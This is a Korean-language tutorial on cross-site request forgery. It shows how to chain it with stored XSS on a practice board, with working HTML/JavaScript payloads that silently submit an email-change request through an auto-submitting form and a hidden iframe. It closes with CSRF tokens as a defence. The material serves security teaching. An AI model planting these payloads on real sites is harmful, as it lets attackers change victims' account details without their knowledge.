
1) CSRF (Cross Site Request Forgery)란?
CSRF: 피해자가 자신의 의도와는 달리 서버로 임의의 요청을 하도록 만드는 공격
2) CSRF 발생 위치
3) CSRF 발생원인
| (1) 다음과 같은 페이지에서 비밀번호 변경 요청 |
|---|
![]() |
| (2) 별다른 인증정보 없이 새로운 비밀번호&비밀번호 확인만 요청 |
|---|
![]() |
| ○ 이는 공격자가 임의로 작성하여 URL을 전달할 수 있게 되어 CSRF취약점이 된다. |
| ● 해당 URL에 접근하는 이용자는 자신의 의도와는 무관하게 비밀번호가 변경되게 된다. |
4) 링크를 전달할 수 있는 GET방식 대신, POST 방식을 사용하는 것은 CSRF의 대응 방안일까?
CSRF의 핵심은 요청에 인증 정보가 없어 발생한다는 것이다.
POST 방식으로 바꾸는 것은 인증 정보를 추가하는 것이 아니다.
따라서, POST 방식으로 바뀐다 하더라도 CSRF는 남아 있게 되어 공격 방식만 변하게 된다.
▶ 링크를 통해서가 아닌 → form 태그를 삽입하는 방식으로 변경
▶ 이 과정은 XSS를 통해서 수행되어야 하고, 따라서 사이트 내에 XSS 취약점이 일절 없어야만 CSRF를 막을 수 있다.
5) CSRF 와 XSS 연계
6) XSS 취약점이 없다면 CSRF 취약점도 없을까?
7) CSRF vs XSS
XSS : 클라이언트 측에서 실행되는 코드를 삽입하는 공격
CSRF : 피해자가 서버로 임의의 요청을 하게 만드는 공격
▶ 두 공격 모두 클라이언트 측 공격이다.
▶ CSRF와 xss는 엄연히 다른 공격이지만, 시너지가 좋아 연계하여 사용하는 것 뿐이다.
바로 위에서 정리하였던 내용을 다시 상기해보자.
그렇다면, POST 방식에서의 CSRF 공격은 어떻게 수행되는지 정리하고자 한다.
| (1) 다음과 같은 실습페이지에서 이메일 변경을 요청 |
|---|
![]() |
| (2) 요청 패킷을 보았을 때 POST메소드로 데이터 처리 중 |
|---|
![]() |
| (3) 다음과 같은 게시판에서 XSS 취약점이 존재한다고 가정 |
|---|
![]() |
| (4) 게시글에 다음과 같이 XSS 코드 작성 |
|---|
![]() |
| <form method="POST" action="URL"> <input type="hidden" name="email" value="test@naver.com"> <input type="submit" value="Click"> </form> |
| (5) 게시글 내용 |
|---|
![]() |
| (6) CSRF 요청 성공 |
|---|
![]() |
| ○ 사용자가 Click 버튼을 누르면, 이메일 변경 요청이 서버로 보내지게 된다. |
▶ 이처럼 POST Method만 가능한 경우, XSS를 연계하여 form 태그를 추가해 버튼을 클릭하도록 유도하면 된다.
바로 위의 경우에서 이용자가 Click 버튼을 눌러야만 CSRF 공격이 수행되었다.
이번에는 이 과정을 자동화하는 과정에 대하여 정리하고자 한다.
1. POST Method Advanced : 요청 자동화
<form method="POST" action="URL" id="myForm">
<input type="hidden" name="email" value="test@naver.com">
</form>
<script>
document.getElementById('myForm').submit();
</script>
| (1) 게시글 작성 |
|---|
![]() |
| (2) 실행 결과 |
|---|
![]() |
![]() |
이 경우 요청이 자동으로 전송되지만, 302코드(Redirection)에 의해 페이지가 이동되는 모습이다.
그렇다면 이 페이지 이동까지 숨겨보자.
2. POST Method Advanced : 페이지 이동 없애기
이 경우, XSS 취약점에서 다루었던 iframe이 사용된다.
<iframe name="stealth"></iframe>
<form method="POST" action="URL" id="myForm" target="stealth">
<input type="hidden" name="email" value="test@naver.com">
</form>
<script>
document.getElementById('myForm').submit();
</script>
| (1) 게시글 작성 |
|---|
![]() |
| ○ iframe 태그에 name 속성 지정 |
| ● form 태그의 처리 결과를 target 속성으로 iframe으로 보낸다. |
| (2) 실행 결과 |
|---|
![]() |
![]() |
이번에는 페이지 이동이 되지는 않았지만, iframe 흔적이 남아있다.
마지막으로 이 iframe 창까지 숨겨보자.
3. POST Method Advanced : iframe 창 숨기기
<iframe name="stealth" style="display:none"></iframe>
<form method="POST" action="URL" id="myForm" target="stealth">
<input type="hidden" name="email" value="test@naver.com">
</form>
<script>
document.getElementById('myForm').submit();
</script>
| (1) 게시글 작성 |
|---|
![]() |
| ○ iframe의 style 속성에 "display:none" 지정 |
| (2) 실행 결과 |
|---|
![]() |
![]() |
| ○ 겉보기에는 게시글이지만, 이메일 변경 요청이 전송되고 있다. |
이렇듯 POST 방식에서 XSS와 CSRF를 연계하면 완벽하게 공격을 수행할 수 있다.
CSRF의 대응 방법 중 하나로 "CSRF Token"이 있다.
CSRF Token : 서버에 들어온 요청이 실제 서버에서 허용한 요청이 맞는지 확인하기 위한 토큰
CSRF Token 동작 과정
사용자가 뷰 페이지에 방문할때 랜덤으로 생성된 Token을 발행한 뒤, 세션(DB)에 저장
이후 사용자가 서버에 요청을 보낼때 해당 Token 값을 같이 전송
서버 측에서는 이 토큰 값과 세션에 저장된 토큰을 비교하여 일치하는 경우 정상 요청임을 판별